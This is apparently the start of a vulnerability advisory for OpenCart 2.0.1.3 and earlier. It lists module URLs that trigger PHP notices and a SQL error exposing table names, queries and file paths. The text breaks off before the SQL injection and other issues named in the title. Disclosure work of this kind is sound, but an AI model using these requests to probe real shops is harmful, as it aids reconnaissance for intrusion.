Opencart <= 2.0.1.3 data leakage, path disclosure, sql tables disclosure, secure token id disclosure, man in the middle proof of concept, sql injection
http://localhost/ocit/index.php?route=module/banner you can see a simple Notice : Undefined index: banner_id http://localhost/ocit/index.php?route=module/bestseller you can see a simple Notice : Undefined index: limit http://localhost/ocit/index.php?route=module/carousel you can see a simple Notice : Undefined index: banner_id http://localhost/ocit/index.php?route=module/featured you can see a simple Notice : Undefined index: limit http://localhost/ocit/index.php?route=module/gallery (non stock extension/module) you can see a simple Notice : Undefined index: filter_banner_id http://localhost/ocit/index.php?route=module/news (non stock extension/module) Notice : Error: Table 'test.oc_news' doesn't exist Error No: 1146 SELECT * FROM oc_news n LEFT JOIN oc_news_description nd ON n.news_id = nd.news_id WHERE nd.language_id = '2' AND n.status = '1' ORDER BY date_added DESC LIMIT 0,5 in system\library\db\mysqli.php on line 41 No...